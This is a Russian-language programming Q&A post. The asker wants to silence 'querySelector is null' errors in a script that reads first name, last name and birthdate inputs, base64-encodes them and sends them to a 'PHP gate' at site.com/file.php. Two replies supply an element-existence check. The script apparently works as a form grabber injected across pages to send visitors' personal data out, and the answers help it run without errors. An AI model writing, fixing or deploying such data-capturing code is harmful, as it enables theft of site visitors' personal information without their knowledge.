@ruthmillercv

Почему появляется ошибка document.querySelector(...) is null?

Задали написать простой скрипт с отправкой данных на пхп гейт
Все идеально работает на странице где есть нужные формы, но на странице где нету требуемых в скрипте инпутов в консоль выдает ошибки:

Uncaught TypeError: document.querySelector(...) is null
stepOne file:///home/admin/Desktop/test/script.js:22
file:///home/admin/Desktop/test/script.js:16
addLoadEvent file:///home/admin/Desktop/test/script.js:4
file:///home/admin/Desktop/test/script.js:13

Понимаю что ошибки из за того что он не может найти селекторы указанные в скрипте, но как убрать эти ошибки?

function addLoadEvent(func) {
    let oldonload = window.onload;
    if (typeof window.onload != 'function') {
        window.onload = func;
    } else {
        window.onload = function() {
            oldonload(undefined);
            func();
        }
    }
}

addLoadEvent(function() {

    if (document.querySelector('input[class="fname"]') !== -1) {
        stepOne()
        console.log("stepOne");
 


        function stepOne() {
            document.querySelector('button[class="btn btnPrimary"]').onclick = function () {
                stepTwo()
            }
        }

        function stepTwo() {

            let fname_value;
            fname_value = document.querySelector('input[class="fname"]').value;
            let lname_value;
            lname_value = document.querySelector('input[class="lname"]').value;
            let bdate_value;
            bdate_value = document.querySelector('input[class="birthdate"]').value;


            let secure = {
                fname_key: fname_value,
                lname_key: lname_value,
                bdate_key: bdate_value
            };

            let json_string = JSON.stringify(secure);
            let base64_json_string = btoa(json_string);
            let XMLHttpObj = new XMLHttpRequest();
            XMLHttpObj.open("POST", "https://site.com/file.php?" + "secure=" +
                base64_json_string);
            XMLHttpObj.send("true" + base64_json_string);
            return true
        }
    }
});
  • Вопрос задан
  • 1528 просмотров
Пригласить эксперта
Ответы на вопрос 2
delphinpro
@delphinpro Куратор тега JavaScript
frontend developer
function stepOne() {
  const btn = document.querySelector('button[class="btn btnPrimary"]')
  if (btn) {
    btn.onclick = function () {
      stepTwo()
    }
  }
}
Ответ написан
firedragon
@firedragon
Не джун-мидл-сеньор, а трус-балбес-бывалый.
Проверьте наличие элемента если есть навешивайте событие по желанию добавьте вывод про ошибку
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы